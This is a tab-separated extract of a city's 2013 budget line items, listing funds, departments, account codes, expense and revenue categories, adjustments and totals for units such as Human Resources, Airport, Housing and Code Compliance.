2765	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2013	1850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1850.0
2766	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	17343.0	0	0.0	-38.0	0	0	0.0	0	0.0	0	0	0.0	17305.0
2767	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511749.0	VISION	804.0	Salaries and Wages	2013	1362.0	0	0.0	-7.0	0	0	0.0	0	0.0	0	0	0.0	1355.0
2768	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	185208.0	0	0.0	-2020.0	0	0	0.0	1837	0.0	0	0	0.0	185025.0
2769	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	3012.0	0	0.0	75.0	0	0	0.0	0	0.0	0	0	0.0	3087.0
2770	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404930.0	SALE OF COMPOSTING BINS	650.0	Charges for Service	2013	-6045.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6045.0
2771	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588090.0	FURNITURE & FURNISHINGS	808.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
2772	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2013	0.0	0	137000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	137000.0
2773	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2013	212096.0	0	0.0	0.0	0	0	0.0	21731	0.0	0	0	0.0	233827.0
2774	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		DCAP	816.0	Salaries and Wages	2013	1080.0	0	0.0	0.0	0	0	0.0	108	0.0	0	0	0.0	1188.0
2775	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402100.0	AIRPORT - FUEL SALES	650.0	Charges for Service	2013	-200000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-200000.0
2776	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402110.0	AIRPORT - HANGAR RENTAL	650.0	Charges for Service	2013	-767790.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-767790.0
2777	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2013	963.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	963.0
2778	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2013	132648.0	0	0.0	0.0	0	0	0.0	-424	0.0	0	0	0.0	132224.0
2779	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		UNEMPLOYMENT		Salaries and Wages	2013	3411.0	0	0.0	0.0	0	0	0.0	-251	0.0	0	0	0.0	3160.0
2780	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522150.0	STORMWATER MANAGEMENT		 Supplies and Expenses	2013	77317.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	77317.0
2781	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	8739.0	0	0.0	0.0	0	0	0.0	87	0.0	0	0	0.0	8826.0
2782	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2013	1086.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1086.0
2783	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	3476.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3476.0
2784	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2013	10586.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10586.0
2785	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	2170.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2170.0
2786	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571120.0	S+C HAP TRA	816.0	 Supplies and Expenses	2013	1585798.0	0	0.0	0.0	0	0	0.0	-58850	0.0	0	0	0.0	1526948.0
2787	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404771.0	PROP C LR-BIKE TRANSIT CENTER	610.0	Intergovernmental	2013	-25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25000.0
2788	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-33531.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-33531.0
2789	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-14097.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14097.0
2790	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-26907.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-26907.0
2791	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2013	-20148.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20148.0
2792	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2013	-46287.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-46287.0
2793	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-21219.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-21219.0
2794	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	1930.0	0	0.0	0.0	0	0	0.0	219	0.0	0	0	0.0	2149.0
2795	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511744.0	MED TRUST - POLICE	804.0	Salaries and Wages	2013	1738.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1738.0
2796	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		EAP	804.0	Salaries and Wages	2013	722.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	722.0
2797	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	579250.0	GEOGRAPHIC INFORMATION SYSTEM	804.0	 Supplies and Expenses	2013	41000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	41000.0
2798	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	1345306.0	0	0.0	0.0	0	0	0.0	16306	0.0	0	0	0.0	1361612.0
2799	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		DCAP	816.0	Salaries and Wages	2013	1128.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1128.0
2800	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2013	7495.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7495.0
2801	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522720.0	MILEAGE	816.0	 Supplies and Expenses	2013	715.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	715.0
2802	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2013	8610.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8610.0
2803	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2013	-2009.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2009.0
2804	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DCAP		Salaries and Wages	2013	348.0	0	0.0	0.0	0	0	0.0	-6	0.0	0	0	0.0	342.0
2805	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2013	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
2806	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2013	2564.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2564.0
2807	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577550.0	FARMERS' MARKET SUPPLIES		 Supplies and Expenses	2013	37735.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	37735.0
2808	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522180.0	BANK FEES		 Supplies and Expenses	2013	1300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1300.0
2809	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2013	363.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	363.0
2810	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533040.0	SPECIAL INSURANCE	806.0	 Supplies and Expenses	2013	9077.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9077.0
2811	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	533040.0	SPECIAL INSURANCE	810.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
2812	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400921.0	SPC ADMIN SU02	610.0	Intergovernmental	2013	-4696.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4696.0
2813	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400922.0	SPC ADMIN TRA	610.0	Intergovernmental	2013	-111006.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-111006.0
2814	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
2815	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
2816	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511490.0	OVERTIME	816.0	Salaries and Wages	2013	1038.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	1048.0
2817	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
2818	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	-10000	0.0	0	0	0.0	10000.0
2819	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
2820	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	31555.0	0	0.0	0.0	0	0	0.0	-5408	0.0	0	0	0.0	26147.0
2821	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2013	2859.0	0	0.0	0.0	0	0	0.0	29	0.0	0	0	0.0	2888.0
2822	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	5000	0.0	7000.0
2823	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	120650.0	0	0.0	-5028.0	0	0	0.0	0	0.0	0	0	0.0	115622.0
2824	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2013	19293.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19293.0
2825	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	28922.0	0	0.0	-206.0	0	0	0.0	287	0.0	0	0	0.0	29003.0
2826	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	48628.0	0	0.0	-38.0	0	0	0.0	0	0.0	0	0	0.0	48590.0
2827	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522920.0	COMMERCIAL VEHICLE REPAIRS	808.0	 Supplies and Expenses	2013	271164.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	271164.0
2828	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533210.0	BLDG OPER / CUST SUPPLIES	808.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
2829	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2013	15920.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15920.0
2830	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	7879.0	0	0.0	0.0	0	0	0.0	79	0.0	0	0	0.0	7958.0
2831	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2013	10428.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10428.0
2832	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		UNEMPLOYMENT		Salaries and Wages	2013	2629.0	0	0.0	0.0	0	0	0.0	26	0.0	0	0	0.0	2655.0
2833	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	848.0	 Supplies and Expenses	2013	127378.21	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	127378.21
2834	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	405330.0	HOUSING PROPERTY RENTALS	618.0	Rentals	2013	-90000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-90000.0
2835	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-315.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-315.0
2836	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-3538.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3538.0
2837	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-5580.0	0	0.0	0.0	0	0	0.0	0	0.0	5580	0	0.0	0.0
2838	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-9029.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9029.0
2839	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2013	-6123.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6123.0
2840	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2013	-34980.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-34980.0
2841	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2013	-34302.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-34302.0
2842	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2013	-27896.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-27896.0
2843	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2013	-92309.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-92309.0
2844	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2013	-24518.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-24518.0
2845	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2013	-15960.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-15960.0
2846	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2013	-2261.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2261.0
2847	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	404900.0	TMP FEES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2848	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 - FSS FORFEITURES	610.0	Intergovernmental	2013	-5500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5500.0
2849	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511749.0	VISION	816.0	Salaries and Wages	2013	2177.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2177.0
2850	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2013	253692.0	0	0.0	0.0	0	0	0.0	3072	0.0	0	0	0.0	256764.0
2851	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		DISABILITY INSURANCE	816.0	Salaries and Wages	2013	9170.0	0	0.0	0.0	0	0	0.0	114	0.0	0	0	0.0	9284.0
2852	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	533090.0	PROJECT MAINTENANCE	808.0	 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
2853	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405610.0	LAWN BOWLING	612.0	Charges for Service	2013	-1673.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1673.0
2854	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563126.0	WISE CONGREGATE MEALS		 Supplies and Expenses	2013	233567.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	233567.0
2855	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562431.0	SHP-NEW DIRECTIONS	810.0	 Supplies and Expenses	2013	44605.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	44605.0
2856	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562433.0	SHP-STEP UP	810.0	 Supplies and Expenses	2013	87765.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	87765.0
2857	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405690.0	SALE OF ADVERTISING PANELS	662.0	Other	2013	-20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20000.0
2858	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	569290.0	FIRE TRUCK MAINTENANCE REIMB	806.0	 Supplies and Expenses	2013	421306.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	421306.0
2859	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
2860	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408260.0	AHPP COMP MONITOR-ANNUAL FEE	622.0	Other	2013	-127470.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-127470.0
2861	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	211122.0	0	0.0	0.0	0	0	0.0	2111	0.0	0	0	0.0	213233.0
2862	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522620.0	RENT	804.0	 Supplies and Expenses	2013	41260.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	41260.0
2863	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522550.0	AD POSTINGS (CCB)		 Supplies and Expenses	2013	36000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36000.0
2864	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408330.0	LANDSCAPE & IRRIG ON-SITE INSP	612.0	Charges for Service	2013	-8000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8000.0
2865	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-5750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5750.0
2866	B1	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
2867	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTILITIES-WATER-CITY YARDS	808.0	 Supplies and Expenses	2013	24990.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24990.0
2868	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	24500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24500.0
2869	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	2625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2625.0
2870	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2013	-30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-30000.0
2871	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577346.0	HAP PORT-IN	816.0	 Supplies and Expenses	2013	300000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300000.0
2872	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2013	17525.0	0	0.0	0.0	0	0	0.0	216	0.0	0	0	0.0	17741.0
2873	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2013	27733.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27733.0
2874	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511748.0	DENTAL	816.0	Salaries and Wages	2013	15379.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15379.0
2875	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2013	-8859.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8859.0
2876	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
2877	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2013	101.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	101.0
2878	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2013	16439.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16439.0
2879	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2013	3800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3800.0
